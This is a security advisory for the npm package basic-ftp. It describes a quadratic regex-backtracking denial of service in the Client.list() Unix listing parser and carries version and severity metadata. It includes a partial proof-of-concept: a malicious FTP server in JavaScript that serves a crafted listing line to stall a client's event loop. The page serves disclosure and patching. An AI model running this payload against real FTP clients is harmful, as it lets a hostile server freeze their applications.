basic-ftp: Quadratic-time CPU denial of service in Client.list() Unix directory-listing parser (RE_LINE backtracking)
## Summary `Client.list()` parses the server's directory listing with the Unix-style parser in `parseListUnix.js`. Its `RE_LINE` regex has two adjacent `(\S+(?:\s\S+)*)` groups (owner name, then group name) followed by a required numeric size group. When a line starts with a valid listing prefix but the tokens after it never satisfy the size and date fields, the engine backtracks over every way of splitting those tokens between the two groups before it can fail, so matching one line costs roughly O(n²) in the line's length. The server whose directory a client lists controls that listing, so it can return one line that pins the Node.js event loop for as long as it likes. `parseList()` picks the parser from the last non-blank line only, then runs it on every line, so a normal line placed last selects the Unix parser and a crafted line earlier hits the quadratic match. ## Proof of concept `npm i basic-ftp && node repro.js`: ```js const net = require("net"), ftp = require("basic-ftp"); const KB = Number(process.env.LINE_KB || 128); const payload = "-rw-r--r-- 1 " + "a ".repeat((KB * 1024 - 13) / 2) + "!"; const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n"; const server = net.createServer(c => { c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = ""; c.on("data", d => { buf += d; let i; while ((i = buf.indexOf("\r\n")) !== -1) { const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2); if (cmd.startsWith("USER")) c.write("331 .\r\n")
GHSA-c475-qrg2-pj4r
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:GHSA-c475-qrg2-pj4r
basic-ftp
Source reference: /affected/0/package/name
- Affected versions
- Not stated in this record
- Fixed versions
- 6.2.1
Source reference:
/affected/0/ranges - Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"ranges": [
{
"type": "SEMVER",
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
]
}
],
"package": {
"name": "basic-ftp",
"purl": "pkg:npm/basic-ftp",
"ecosystem": "npm"
},
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c475-qrg2-pj4r/GHSA-c475-qrg2-pj4r.json",
"last_known_affected_version_range": "<= 6.2.0"
}
}
]- Related CVEs
- CVE-2026-102990
Source reference:
/aliases
Publisher severity
high
Source reference: /database_specific/severity
- Event
- #60930 · Revision 1
- Added to Heist Feed
- Publisher date